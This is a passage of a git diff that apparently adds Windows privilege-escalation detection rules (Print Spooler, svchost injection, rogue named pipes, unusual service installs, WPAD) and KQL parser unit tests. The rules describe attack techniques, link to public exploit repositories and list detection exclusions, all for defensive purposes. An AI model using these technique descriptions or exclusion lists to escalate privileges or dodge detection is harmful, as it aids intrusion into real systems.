"TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/windows/privilege_escalation_unusual_printspooler_childprocess.toml b/rules/windows/privilege_escalation_unusual_printspooler_childprocess.toml new file mode 100644 index 000000000..13b0718ae --- /dev/null +++ b/rules/windows/privilege_escalation_unusual_printspooler_childprocess.toml @@ -0,0 +1,61 @@ +[metadata] +creation_date = "2021/07/06" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Detects unusual Print Spooler service (spoolsv.exe) child processes. This may indicate an attempt to exploit privilege +escalation vulnerabilities related to the Printing Service on Windows. +""" +false_positives = [ + """ + Install or update of a legitimate printing driver. Verify the printer driver file metadata such as manufacturer and signature + information. + """, +] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Unusual Print Spooler Child Process" +references = [ + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527", + "https://github.com/afwu/PrintNightmare", +] +risk_score = 47 +rule_id = "ee5300a7-7e31-4a72-a258-250abb8b3aa1" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + process.parent.name : "spoolsv.exe" and + (process.Ext.token.integrity_level_name : "System" or + winlog.event_data.IntegrityLevel : "System") and + + /* exclusions for FP control below */ + not process.name : ("splwow64.exe", "PDFCreator.exe", "acrodist.exe", "spoolsv.exe", "msiexec.exe", "route.exe", "WerFault.exe") and + not process.command_line : "*\\WINDOWS\\system32\\spool\\DRIVERS*" and + not (process.name : "net.exe" and process.command_line : ("*stop*", "*start*")) and + not (process.name : ("cmd.exe", "powershell.exe") and process.command_line : ("*.spl*", "*\\program files*", "*route add*")) and + not (process.name : "netsh.exe" and process.command_line : ("*add portopening*", "*rule name*")) and + not (process.name : "regsvr32.exe" and process.command_line : "*PrintConfig.dll*") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1068/" +name = "Exploitation for Privilege Escalation" +id = "T1068" + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0004/" +name = "Privilege Escalation" +id = "TA0004" diff --git a/rules/windows/privilege_escalation_unusual_svchost_childproc_childless.toml b/rules/windows/privilege_escalation_unusual_svchost_childproc_childless.toml new file mode 100644 index 000000000..7871b185c --- /dev/null +++ b/rules/windows/privilege_escalation_unusual_svchost_childproc_childless.toml @@ -0,0 +1,73 @@ +[metadata] +creation_date = "2020/10/13" +maturity = "production" +updated_date = "2021/03/08" + +[rule] +author = ["Elastic"] +description = """ +Identifies unusual child processes of Service Host (svchost.exe) that traditionally do not spawn any child processes. +This may indicate a code injection or an equivalent form of exploitation. +""" +false_positives = ["Changes to Windows services or a rarely executed child process."] +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Unusual Service Host Child Process - Childless Service" +risk_score = 47 +rule_id = "6a8ab9cc-4023-4d17-b5df-1a3e16882ce7" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Defense Evasion", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.name : "svchost.exe" and + + /* based on svchost service arguments -s svcname where the service is known to be childless */ + + process.parent.args : ("WdiSystemHost","LicenseManager", + "StorSvc","CDPSvc","cdbhsvc","BthAvctpSvc","SstpSvc","WdiServiceHost", + "imgsvc","TrkWks","WpnService","IKEEXT","PolicyAgent","CryptSvc", + "netprofm","ProfSvc","StateRepository","camsvc","LanmanWorkstation", + "NlaSvc","EventLog","hidserv","DisplayEnhancementService","ShellHWDetection", + "AppHostSvc","fhsvc","CscService","PushToInstall") and + + /* unknown FPs can be added here */ + + not process.name : ("WerFault.exe","WerFaultSecure.exe","wermgr.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1055" +name = "Process Injection" +reference = "https://attack.mitre.org/techniques/T1055/" +[[rule.threat.technique.subtechnique]] +id = "T1055.012" +name = "Process Hollowing" +reference = "https://attack.mitre.org/techniques/T1055/012/" + + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1055" +name = "Process Injection" +reference = "https://attack.mitre.org/techniques/T1055/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/windows/privilege_escalation_via_rogue_named_pipe.toml b/rules/windows/privilege_escalation_via_rogue_named_pipe.toml new file mode 100644 index 000000000..b3577a98e --- /dev/null +++ b/rules/windows/privilege_escalation_via_rogue_named_pipe.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2021/10/13" +maturity = "production" +updated_date = "2021/10/13" + +[rule] +author = ["Elastic"] +description = """ +Identifies a privilege escalation attempt via rogue named pipe impersonation. An adversary may abuse this technique by +masquerading as a known named pipe and manipulating a privileged process to connect to it. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Privilege Escalation via Rogue Named Pipe Impersonation" +note = """## Config + +Named Pipe Creation Events need to be enabled within the Sysmon configuration by including the following settings: +`condition equal "contains" and keyword equal "pipe"` +""" +references = [ + "https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/", + "https://github.com/zcgonvh/EfsPotato", + "https://twitter.com/SBousseaden/status/1429530155291193354" +] +risk_score = 73 +rule_id = "76ddb638-abf7-42d5-be22-4a70b0bf7241" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +file where event.action : "Pipe Created*" and + /* normal sysmon named pipe creation events truncate the pipe keyword */ + file.name : "\\*\\Pipe\\*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1134" +reference = "https://attack.mitre.org/techniques/T1134/" +name = "Access Token Manipulation" + + +[rule.threat.tactic] +id = "TA0004" +reference = "https://attack.mitre.org/tactics/TA0004/" +name = "Privilege Escalation" + diff --git a/rules/windows/privilege_escalation_windows_service_via_unusual_client.toml b/rules/windows/privilege_escalation_windows_service_via_unusual_client.toml new file mode 100644 index 000000000..5d6be35e9 --- /dev/null +++ b/rules/windows/privilege_escalation_windows_service_via_unusual_client.toml @@ -0,0 +1,68 @@ +[metadata] +creation_date = "2022/02/07" +maturity = "production" +updated_date = "2022/02/07" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation of a Windows service by an unusual client process. Services may be created with administrator +privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from +administrator to SYSTEM. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-system.*"] +language = "kuery" +license = "Elastic License v2" +name = "Windows Service Installed via an Unusual Client" +note = """## Config + +The 'Audit Security System Extension' logging policy must be configured for (Success) +Steps to implement the logging policy with with Advanced Audit Configuration: + +``` +Computer Configuration > +Policies > +Windows Settings > +Security Settings > +Advanced Audit Policies Configuration > +Audit Policies > +System > +Audit Security System Extension (Success) +``` +""" +references = [ + "https://www.x86matthew.com/view_post?id=create_svc_rpc", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4697", + "https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0100_windows_audit_security_system_extension.md" +] +risk_score = 73 +rule_id = "55c2bf58-2a39-4c58-a384-c8b1978153c2" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.action:"service-installed" and (winlog.event_data.ClientProcessId:"0" or winlog.event_data.ParentProcessId:"0") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +reference = "https://attack.mitre.org/techniques/T1543/" +id = "T1543" +name = "Create or Modify System Process" +[[rule.threat.technique.subtechnique]] +reference = "https://attack.mitre.org/techniques/T1543/003/" +id = "T1543.003" +name = "Windows Service" + + + +[rule.threat.tactic] +reference = "https://attack.mitre.org/tactics/TA0004/" +id = "TA0004" +name = "Privilege Escalation" + diff --git a/rules/windows/privilege_escalation_wpad_exploitation.toml b/rules/windows/privilege_escalation_wpad_exploitation.toml new file mode 100644 index 000000000..6d1ee32d2 --- /dev/null +++ b/rules/windows/privilege_escalation_wpad_exploitation.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2020/09/02" +maturity = "development" +updated_date = "2021/10/13" + +[rule] +author = ["Elastic"] +description = """ +Identifies probable exploitation of the Web Proxy Auto-Discovery Protocol (WPAD) service. Attackers who have access to +the local network or upstream DNS traffic can inject malicious JavaScript to the WPAD service which can lead to a full +system compromise. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "WPAD Service Exploit" +risk_score = 73 +rule_id = "ec328da1-d5df-482b-866c-4a435692b1f3" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Privilege Escalation"] +type = "eql" + +query = ''' +/* preference would be to use user.sid rather than domain+name, once it is available in ECS + datasources */ +/* didn't trigger successfully during testing */ + +sequence with maxspan=5s + [process where event.type in ("start", "process_started") and process.name : "svchost.exe" and + user.domain : "NT AUTHORITY" and user.name : "LOCAL SERVICE"] by process.entity_id + [network where network.protocol : "dns" and process.name : "svchost.exe" and + dns.question.name : "wpad" and process.name : "svchost.exe"] by process.entity_id + [network where process.name : "svchost.exe" + and network.direction : ("outgoing", "egress") and destination.port == 80] by process.entity_id + [library where event.type : "start" and process.name : "svchost.exe" and + dll.name : "jscript.dll" and process.name : "svchost.exe"] by process.entity_id + [process where event.type in ("start", "process_started") and + process.parent.name : "svchost.exe"] by process.parent.entity_id +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1068" +name = "Exploitation for Privilege Escalation" +reference = "https://attack.mitre.org/techniques/T1068/" + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/setup.cfg b/setup.cfg new file mode 100644 index 000000000..72835c841 --- /dev/null +++ b/setup.cfg @@ -0,0 +1,4 @@ +[metadata] +name = detection_rules +license = Elastic License v2 +license_file = LICENSE.txt diff --git a/tests/__init__.py b/tests/__init__.py new file mode 100644 index 000000000..360d78839 --- /dev/null +++ b/tests/__init__.py @@ -0,0 +1,66 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Detection Rules tests.""" +import glob +import json +import os + +from detection_rules.utils import combine_sources + +CURRENT_DIR = os.path.dirname(os.path.abspath(__file__)) +DATA_DIR = os.path.join(CURRENT_DIR, 'data') +TP_DIR = os.path.join(DATA_DIR, 'true_positives') +FP_DIR = os.path.join(DATA_DIR, 'false_positives') + + +def get_fp_dirs(): + """Get a list of fp dir names.""" + return glob.glob(os.path.join(FP_DIR, '*')) + + +def get_fp_data_files(): + """get FP data files by fp dir name.""" + data = {} + for fp_dir in get_fp_dirs(): + fp_dir_name = os.path.basename(fp_dir) + relative_dir_name = os.path.join('false_positives', fp_dir_name) + data[fp_dir_name] = combine_sources(*get_data_files(relative_dir_name).values()) + + return data + + +def get_data_files_list(*folder, ext='jsonl', recursive=False): + """Get TP or FP file list.""" + folder = os.path.sep.join(folder) + data_dir = [DATA_DIR, folder] + if recursive: + data_dir.append('**') + + data_dir.append('*.{}'.format(ext)) + return glob.glob(os.path.join(*data_dir), recursive=recursive) + + +def get_data_files(*folder, ext='jsonl', recursive=False): + """Get data from data files.""" + data_files = {} + for data_file in get_data_files_list(*folder, ext=ext, recursive=recursive): + with open(data_file, 'r') as f: + file_name = os.path.splitext(os.path.basename(data_file))[0] + + if ext == 'jsonl': + data = f.readlines() + data_files[file_name] = [json.loads(d) for d in data] + else: + data_files[file_name] = json.load(f) + + return data_files + + +def get_data_file(*folder): + file = os.path.join(DATA_DIR, os.path.sep.join(folder)) + if os.path.exists(file): + with open(file, 'r') as f: + return json.load(f) diff --git a/tests/base.py b/tests/base.py new file mode 100644 index 000000000..32a5d2f48 --- /dev/null +++ b/tests/base.py @@ -0,0 +1,28 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Shared resources for tests.""" + +import unittest +from typing import Union + +from detection_rules.rule import TOMLRule +from detection_rules.rule_loader import DeprecatedCollection, DeprecatedRule, RuleCollection, production_filter + + +class BaseRuleTest(unittest.TestCase): + """Base class for shared test cases which need to load rules""" + + @classmethod + def setUpClass(cls): + rc = RuleCollection.default() + cls.all_rules = rc + cls.rule_lookup = rc.id_map + cls.production_rules = cls.all_rules.filter(production_filter) + cls.deprecated_rules: DeprecatedCollection = rc.deprecated + + @staticmethod + def rule_str(rule: Union[DeprecatedRule, TOMLRule], trailer=' ->'): + return f'{rule.id} - {rule.name}{trailer or ""}' diff --git a/tests/kuery/__init__.py b/tests/kuery/__init__.py new file mode 100644 index 000000000..850838abc --- /dev/null +++ b/tests/kuery/__init__.py @@ -0,0 +1,6 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""KQL unit tests.""" diff --git a/tests/kuery/test_dsl.py b/tests/kuery/test_dsl.py new file mode 100644 index 000000000..4af3217eb --- /dev/null +++ b/tests/kuery/test_dsl.py @@ -0,0 +1,157 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import unittest +import kql + + +class TestKQLtoDSL(unittest.TestCase): + def validate(self, kql_source, dsl, **kwargs): + actual_dsl = kql.to_dsl(kql_source, **kwargs) + self.assertListEqual(list(actual_dsl), ["bool"]) + self.assertDictEqual(actual_dsl["bool"], dsl) + + def test_field_match(self): + def match(**kv): + return {"filter": [{"match": kv}]} + + self.validate("user:bob", match(user="bob")) + self.validate("number:-1", match(number=-1)) + self.validate("number:1.1", match(number=1.1)) + self.validate("boolean:true", match(boolean=True)) + self.validate("boolean:false", match(boolean=False)) + + def test_field_exists(self): + self.validate("user:*", {"filter": [{"exists": {"field": "user"}}]}) + + def test_field_inequality(self): + def rng(op, val): + return {"filter": [{"range": {"field": {op: val}}}]} + + self.validate("field < value", rng("lt", "value")) + self.validate("field > -1", rng("gt", -1)) + self.validate("field <= 1.1", rng("lte", 1.1)) + self.validate("field >= 0", rng("gte", 0)) + self.validate("field >= abc", rng("gte", "abc")) + + def test_or_query(self): + self.validate( + "field:value or field2:value2", + {"should": [{"match": {"field": "value"}}, {"match": {"field2": "value2"}}], "minimum_should_match": 1}, + ) + + def test_and_query(self): + self.validate( + "field:value and field2:value2", + {"filter": [{"match": {"field": "value"}}, {"match": {"field2": "value2"}}]}, + ) + + def test_not_query(self): + self.validate("not field:value", {"must_not": [{"match": {"field": "value"}}]}) + self.validate("field:(not value)", {"must_not": [{"match": {"field": "value"}}]}) + self.validate("field:(a and not b)", { + "filter": [{"match": {"field": "a"}}], + "must_not": [{"match": {"field": "b"}}] + }) + self.validate( + "not field:value and not field2:value2", + {"must_not": [{"match": {"field": "value"}}, {"match": {"field2": "value2"}}]}, + ) + self.validate( + "not (field:value or field2:value2)", + { + "must_not": [ + { + "bool": { + "minimum_should_match": 1, + "should": [{"match": {"field": "value"}}, {"match": {"field2": "value2"}}], + } + } + ] + }, + optimize=False, + ) + + self.validate("not (field:value and field2:value2)", + { + "must_not": [ + {"match": {"field": "value"}}, + {"match": {"field2": "value2"}} + ] + }) + + def test_optimizations(self): + self.validate( + "(field:value or field2:value2) and field3:value3", + { + "should": [{"match": {"field": "value"}}, {"match": {"field2": "value2"}}], + "filter": [{"match": {"field3": "value3"}}], + "minimum_should_match": 1, + }, + ) + + self.validate( + "(field:value and field2:value2) or field3:value3", + { + "should": [ + {"bool": {"filter": [{"match": {"field": "value"}}, {"match": {"field2": "value2"}}]}}, + {"match": {"field3": "value3"}}, + ], + "minimum_should_match": 1, + }, + ) + + self.validate( + "a:(v1 or v2 or v3) or b:(v4 or v5)", + { + "should": [ + {"match": {"a": "v1"}}, + {"match": {"a": "v2"}}, + {"match": {"a": "v3"}}, + {"match": {"b": "v4"}}, + {"match": {"b": "v5"}}, + ], + "minimum_should_match": 1, + }, + ) + + self.validate( + "a:(v1 or v2 or v3) and b:(v4 or v5)", + { + "should": [ + {"match": {"a": "v1"}}, + {"match": {"a": "v2"}}, + {"match": {"a": "v3"}} + ], + "filter": [ + { + "bool": { + "should": [ + {"match": {"b": "v4"}}, + {"match": {"b": "v5"}} + ], + "minimum_should_match": 1 + } + } + ], + "minimum_should_match": 1, + }, + ) + + self.validate( + "(field:value and not field2:value2) or field3:value3", + { + "should": [ + { + "bool": { + "filter": [{"match": {"field": "value"}}], + "must_not": [{"match": {"field2": "value2"}}], + } + }, + {"match": {"field3": "value3"}}, + ], + "minimum_should_match": 1, + }, + ) diff --git a/tests/kuery/test_eql2kql.py b/tests/kuery/test_eql2kql.py new file mode 100644 index 000000000..6757f908a --- /dev/null +++ b/tests/kuery/test_eql2kql.py @@ -0,0 +1,53 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import unittest +import kql + + +class TestEql2Kql(unittest.TestCase): + + def validate(self, kql_source, eql_source): + self.assertEqual(kql_source, str(kql.from_eql(eql_source))) + + def test_field_equals(self): + self.validate("field:value", "field == 'value'") + self.validate("field:-1", "field == -1") + self.validate("field:1.1", "field == 1.1") + self.validate("field:true", "field == true") + self.validate("field:false", "field == false") + self.validate("field:*", "field != null") + self.validate("not field:*", "field == null") + + def test_field_inequality(self): + self.validate("field < value", "field < 'value'") + self.validate("field > -1", "field > -1") + self.validate("field <= 1.1", "field <= 1.1") + self.validate("field >= 0", "field >= 0") + + def test_or_query(self): + self.validate("field:value or field2:value2", "field == 'value' or field2 == 'value2'") + + def test_and_query(self): + self.validate("field:value and field2:value2", "field == 'value' and field2 == 'value2'") + + def test_not_query(self): + self.validate("not field:value", "field != 'value'") + self.validate("not (field:value and field2:value2)", "not (field = 'value' and field2 = 'value2')") + + def test_boolean_precedence(self): + self.validate("a:1 or b:2 and c:3", "a == 1 or (b == 2 and c == 3)") + self.validate("a:1 and (b:2 or c:3)", "a == 1 and (b == 2 or c == 3)") + self.validate("a:1 or not b:2 and c:3", "a == 1 or (b != 2 and c == 3)") + + def test_list_of_values(self): + self.validate("a:(0 or 1 or 2 or 3)", "a in (0,1,2,3)") + self.validate("a:(0 or 3 or 1 and 2)", "a == 0 or a == 1 and a == 2 or a == 3") + self.validate("a:(0 or 1 and 2 or 3 and 4)", "a == 0 or a == 1 and a == 2 or (a == 3 and a == 4)") + + def test_ip_checks(self): + self.validate("dest:192.168.255.255", "dest == '192.168.255.255'") + self.validate("dest:192.168.0.0/16", "cidrMatch(dest, '192.168.0.0/16')") + self.validate("dest:192.168.0.0/16", "cidrMatch(dest, '192.168.0.0/16')") diff --git a/tests/kuery/test_evaluator.py b/tests/kuery/test_evaluator.py new file mode 100644 index 000000000..94ae0c0be --- /dev/null +++ b/tests/kuery/test_evaluator.py @@ -0,0 +1,123 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import unittest + +import kql + + +class EvaluatorTests(unittest.TestCase): + + document = { + "number": 1, + "boolean": True, + "ip": "192.168.16.3", + "string": "hello world", + + "string_list": ["hello world", "example"], + "number_list": [1, 2, 3], + "boolean_list": [True, False], + "structured": [ + { + "a": [ + {"b": 1} + ] + } + ], + } + + def evaluate(self, source_text, document=None): + if document is None: + document = self.document + + evaluator = kql.get_evaluator(source_text, optimize=False) + return evaluator(document) + + def test_single_value(self): + self.assertTrue(self.evaluate('number:1')) + self.assertTrue(self.evaluate('number:"1"')) + self.assertTrue(self.evaluate('boolean:true')) + self.assertTrue(self.evaluate('string:"hello world"')) + + self.assertFalse(self.evaluate('number:0')) + self.assertFalse(self.evaluate('boolean:false')) + self.assertFalse(self.evaluate('string:"missing"')) + + def test_list_value(self): + self.assertTrue(self.evaluate('number_list:1')) + self.assertTrue(self.evaluate('number_list:2')) + self.assertTrue(self.evaluate('number_list:3')) + + self.assertTrue(self.evaluate('boolean_list:true')) + self.assertTrue(self.evaluate('boolean_list:false')) + + self.assertTrue(self.evaluate('string_list:"hello world"')) + self.assertTrue(self.evaluate('string_list:example')) + + self.assertFalse(self.evaluate('number_list:4')) + self.assertFalse(self.evaluate('string_list:"missing"')) + + def test_and_values(self): + self.assertTrue(self.evaluate('number_list:(1 and 2)')) + self.assertTrue(self.evaluate('boolean_list:(false and true)')) + self.assertFalse(self.evaluate('string:("missing" and "hello world")')) + + self.assertFalse(self.evaluate('number:(0 and 1)')) + self.assertFalse(self.evaluate('boolean:(false and true)')) + + def test_not_value(self): + self.assertTrue(self.evaluate('number_list:1')) + self.assertFalse(self.evaluate('not number_list:1')) + self.assertFalse(self.evaluate('number_list:(not 1)')) + + def test_or_values(self): + self.assertTrue(self.evaluate('number:(0 or 1)')) + self.assertTrue(self.evaluate('number:(1 or 2)')) + self.assertTrue(self.evaluate('boolean:(false or true)')) + self.assertTrue(self.evaluate('string:("missing" or "hello world")')) + + self.assertFalse(self.evaluate('number:(0 or 3)')) + + def test_and_expr(self): + self.assertTrue(self.evaluate('number:1 and boolean:true')) + + self.assertFalse(self.evaluate('number:1 and boolean:false')) + + def test_or_expr(self): + self.assertTrue(self.evaluate('number:1 or boolean:false')) + self.assertFalse(self.evaluate('number:0 or boolean:false')) + + def test_range(self): + self.assertTrue(self.evaluate('number < 2')) + self.assertFalse(self.evaluate('number > 2')) + + def test_cidr_match(self): + self.assertTrue(self.evaluate('ip:192.168.0.0/16')) + + self.assertFalse(self.evaluate('ip:10.0.0.0/8')) + + def test_quoted_wildcard(self): + self.assertFalse(self.evaluate('string:"*"')) + + def test_wildcard(self): + self.assertTrue(self.evaluate('string:hello*')) + self.assertTrue(self.evaluate('string:*world')) + self.assertFalse(self.evaluate('string:foobar*')) + + def test_field_exists(self): + self.assertTrue(self.evaluate('number:*')) + self.assertTrue(self.evaluate('boolean:*')) + self.assertTrue(self.evaluate('ip:*')) + self.assertTrue(self.evaluate('string:*')) + self.assertTrue(self.evaluate('string_list:*')) + self.assertTrue(self.evaluate('number_list:*')) + self.assertTrue(self.evaluate('boolean_list:*')) + + self.assertFalse(self.evaluate('a:*')) + + def test_flattening(self): + self.assertTrue(self.evaluate("structured.a.b:*")) + self.assertTrue(self.evaluate("structured.a.b:1")) + self.assertFalse(self.evaluate("structured.a.b:2")) diff --git a/tests/kuery/test_kql2eql.py b/tests/kuery/test_kql2eql.py new file mode 100644 index 000000000..bfa9a2425 --- /dev/null +++ b/tests/kuery/test_kql2eql.py @@ -0,0 +1,99 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import unittest +import eql + +import kql + + +class TestKql2Eql(unittest.TestCase): + + def validate(self, kql_source, eql_source, schema=None): + self.assertEqual(kql.to_eql(kql_source, schema=schema), eql.parse_expression(eql_source)) + + def test_field_equals(self): + self.validate("field:value", "field == 'value'") + self.validate("field:-1", "field == -1") + self.validate("field:1.0", "field == 1.0") + self.validate("field:true", "field == true") + self.validate("field:false", "field == false") + self.validate("not field:*", "field == null") + self.validate("field:*", "field != null") + + def test_field_inequality(self): + self.validate("field < value", "field < 'value'") + self.validate("field > -1", "field > -1") + self.validate("field <= 1.0", "field <= 1.0") + self.validate("field >= 0", "field >= 0") + + def test_or_query(self): + self.validate("field:value or field2:value2", "field == 'value' or field2 == 'value2'") + + def test_and_query(self): + self.validate("field:value and field2:value2", "field == 'value' and field2 == 'value2'") + + def test_nested_query(self): + with self.assertRaisesRegex(kql.KqlParseError, "Unable to convert nested query to EQL"): + kql.to_eql("field:{outer:1 and middle:{inner:2}}") + + def test_not_query(self): + self.validate("not field:value", "field != 'value'") + self.validate("not (field:value and field2:value2)", "not (field = 'value' and field2 = 'value2')") + + def test_boolean_precedence(self): + self.validate("a:1 or (b:2 and c:3)", "a == 1 or (b == 2 and c == 3)") + self.validate("a:1 or b:2 and c:3", "a == 1 or (b == 2 and c == 3)") + self.validate("a:1 or not b:2 and c:3", "a == 1 or (b != 2 and c == 3)") + + def test_list_of_values(self): + self.validate("a:(0 or 1 or 2 or 3)", "a in (0,1,2,3)") + self.validate("a:(0 or 1 and 2 or 3)", "a == 0 or a == 1 and a == 2 or a == 3") + self.validate("a:(0 or 1 and 2 or (3 and 4))", "a == 0 or a == 1 and a == 2 or (a == 3 and a == 4)") + + def test_lone_value(self): + for value in ["1", "-1.4", "true", "\"string test\""]: + with self.assertRaisesRegex(kql.KqlParseError, "Value not tied to field"): + kql.to_eql(value) + + def test_schema(self): + schema = { + "top": "nested", + "top.keyword": "keyword", + "top.text": "text", + "top.middle": "nested", + "top.middle.bool": "boolean", + "top.numL": "long", + "top.numF": "long", + "dest": "ip", + } + + self.validate("top.numF : 1", "top.numF == 1", schema=schema) + self.validate("top.numF : \"1\"", "top.numF == 1", schema=schema) + self.validate("top.keyword : 1", "top.keyword == '1'", schema=schema) + self.validate("top.keyword : \"hello\"", "top.keyword == 'hello'", schema=schema) + self.validate("dest:192.168.255.255", "dest == '192.168.255.255'", schema=schema) + self.validate("dest:192.168.0.0/16", "cidrMatch(dest, '192.168.0.0/16')", schema=schema) + self.validate("dest:\"192.168.0.0/16\"", "cidrMatch(dest, '192.168.0.0/16')", schema=schema) + + with self.assertRaises(eql.EqlSemanticError): + self.validate("top.text : \"hello\"", "top.text == 'hello'", schema=schema) + + with self.assertRaises(eql.EqlSemanticError): + self.validate("top.text : 1 ", "top.text == '1'", schema=schema) + + with self.assertRaisesRegex(kql.KqlParseError, r"Value doesn't match top.middle's type: nested"): + kql.to_eql("top.middle : 1", schema=schema) + + with self.assertRaisesRegex(kql.KqlParseError, "Unable to convert nested query to EQL"): + kql.to_eql("top:{keyword : 1}", schema=schema) + + with self.assertRaisesRegex(kql.KqlParseError, "Unable to convert nested query to EQL"): + kql.to_eql("top:{middle:{bool: true}}", schema=schema) + + invalid_ips = ["192.168.0.256", "192.168.0.256/33", "1", "\"1\""] + for ip in invalid_ips: + with self.assertRaisesRegex(kql.KqlParseError, r"Value doesn't match dest's type: ip"): + kql.to_eql("dest:{ip}".format(ip=ip), schema=schema) diff --git a/tests/kuery/test_lint.py b/tests/kuery/test_lint.py new file mode 100644 index 000000000..7f0e97bd1 --- /dev/null +++ b/tests/kuery/test_lint.py @@ -0,0 +1,80 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +import unittest +import kql + + +class LintTests(unittest.TestCase): + + def validate(self, source, linted, *args): + self.assertEqual(kql.lint(source), linted, *args) + + def test_lint_field(self): + self.validate("a : b", "a:b") + self.validate("\"a\": b", "a:b") + self.validate("a : \"b\"", "a:b") + self.validate("a : (b)", "a:b") + self.validate("a:1.234", "a:1.234") + self.validate("a:\"1.234\"", "a:1.234") + + def test_upper_tokens(self): + queries = [ + "a:b AND c:d", + "a:b OR c:d", + "NOT a:b", + "a:(b OR c)", + "a:(b AND c)", + "a:(NOT b)", + ] + + for q in queries: + with self.assertRaises(kql.KqlParseError): + kql.parse(q) + + def test_lint_precedence(self): + self.validate("a:b or (c:d and e:f)", "a:b or c:d and e:f") + self.validate("(a:b and (c:d or e:f))", "a:b and (c:d or e:f)") + + def test_extract_not(self): + self.validate("a:(not b)", "not a:b") + + def test_merge_fields(self): + self.validate("a:b or a:c", "a:(b or c)") + self.validate("a:b or a:(c or d)", "a:(b or c or d)") + self.validate("a:b or a:(c or d) or a:e", "a:(b or c or d or e)") + + self.validate("a:b or a:(c and d) or x:y or a:e", "a:(b or e or c and d) or x:y", "Failed to left-align values") + self.validate("a:b and a:(c and d) or x:y or a:e", "a:(e or b and c and d) or x:y") + + def test_and_not(self): + self.validate("a:b and not a:c", "a:(b and not c)") + + def test_not_demorgans(self): + self.validate("not a:b and not a:c and not a:d", "not a:(b or c or d)") + self.validate("not a:b or not a:c or not a:d", "not a:(b and c and d)") + self.validate("a:(not b and not c and not d)", "not a:(b or c or d)") + self.validate("a:(not b or not c or not d)", "not a:(b and c and d)") + + def test_not_or(self): + self.validate("not (a:1 or a:2)", "not a:(1 or 2)") + + def test_mixed_demorgans(self): + self.validate("a:(b and not c and not d)", "a:(b and not (c or d))") + self.validate("a:(b or not c or not d or not e)", "a:(b or not (c and d and e))") + self.validate("a:((b or not c or not d) and e)", "a:(e and (b or not (c and d)))") + + def test_double_negate(self): + self.validate("not (not a:b)", "a:b") + self.validate("a:(not (not b))", "a:b") + self.validate("not (a:(not b))", 